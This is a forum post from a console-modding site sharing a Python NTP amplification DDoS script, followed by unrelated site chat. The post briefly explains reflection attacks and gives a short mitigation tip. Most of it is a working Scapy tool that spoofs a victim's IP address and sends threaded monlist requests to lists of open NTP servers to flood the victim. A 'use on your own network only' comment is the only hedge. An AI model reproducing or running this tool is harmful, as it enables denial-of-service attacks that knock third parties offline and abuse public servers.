• Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

NTP Ddos [Python]

ZionHD

Leader
Retired Staff
What this script does is abuse open ntp servers. NTP stands for Network Time Protocol.
It is used to synchronize the clocks of computers. This type of attack is known as a reflection attack. NTP runs on port 123 UDP. Now what happens when you execute this code is that it sends a small forged packet that requests a large amount of data be sent to the target.

How can you protect your servers?

The easiest way to update to NTP version 4.2.7, which removes the monlist command entirely. If upgrading is not an option, you can start the NTP daemon with noquery enabled in the NTP config file. This will disable access to mode 6 and 7 query packets (which includes monlist).


Code:
#!/usr/bin/env python
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY


#packet sender
def deny():

   
    global ntplist
    global currentserver
    global data
    global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT

#So I dont have to have the same stuff twice
def printhelp():
    print "NTP Amplification DOS Attack"
    print "By DaRkReD"
    print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
    print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
    print "NTP serverlist file should contain one IP per line"
    print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
    exit(0)

if len(sys.argv) < 4:
    printhelp()
#Fetch Args
target = sys.argv[1]

#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
    printhelp()

ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
    ntplist = f.readlines()

   



#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
    print "Attack Aborted: More threads than servers"
    print "Next time dont create more threads than servers"
exit(0)

#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4

#Hold our threads
threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"

#Thread spawner
for n in range(numberthreads):
    thread = threading.Thread(target=deny)
    thread.daemon = True
    thread.start()

    threads.append(thread)

#In progress!
print "Sending..."

#Keep alive so ctrl+c still kills all them threads
while True:
    time.sleep(1)
 
General chit-chat
Help Users
  • @ QM|T_JinX:
    thanks bro appreciate that nothing mutch thinking about after the movie playing some red dead 2 almost have it on platinum haha
  • @ QM|T_JinX:
    so you thinking about become staff again or no great to have you back on here hto
  • @ QM|T_JinX:
    tho
  • @ God:
    That’s the truth I see I come on here often here lately, sometimes I don’t chat! But yes I really want to help out and do everything I can bring the site back like it should be bro! Maybe we could work something out, I think I have the resources and community to help
  • @ QM|T_JinX:
    yea i have seen you on here just like unbound and some others but they didnt stick haha yea would be great to see this site grow again like you said like it should be
  • @ God:
    We will see we gotta talk to the boss man Younis
  • @ QM|T_JinX:
    for sure haha well lets hope right
  • @ QM|T_JinX:
    i still think if there was a jailbreak for ps4 this site would have been back for sure
  • @ God:
    That would be awesome I’m sure it will happen before long, technology now a days is crazy! If we can work out a deal and plans I’ll be spreading the word and doing a lot to make it better more attractive and helpful fourms tips giveaways and all
  • @ God:
    I’ve been messing and working with trying to make great CSS for the names. Like Staff Premium news writer etc..
  • @ QM|T_JinX:
    ok so hows that going /
  • @ God:
    It’s going good. So we will see what happens and if the site can come back like it was or better
  • @ QM|T_JinX:
    nice yea lets hope
  • @ QM|T_JinX:
    im going to play some red dead it was great to have spoken to you bro nice to see you back on here
  • @ QM|T_JinX:
    hope you have a great night bro
  • @ God:
    It was good talking with you as well, you have a great night! We will talk later bro
    +1
  • Chat Bot:
    QM|T_JinX has joined the room.
  • @ QM|T_JinX:
    have a great weekend everybody ill be back after the weekend
  • Chat Bot:
    OkBrruh is our newest member. Welcome!
  • Chat Bot:
    uncrtin is our newest member. Welcome!
  • Chat Bot:
    BigTechModz is our newest member. Welcome!
  • @ BigTechModz:
    Hey this is RexMods I don’t remember the login to my old account so I made a new one I am now known as BigTechModz
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    iDior2K is our newest member. Welcome!
      Chat Bot: iDior2K is our newest member. Welcome!
      Back
      Top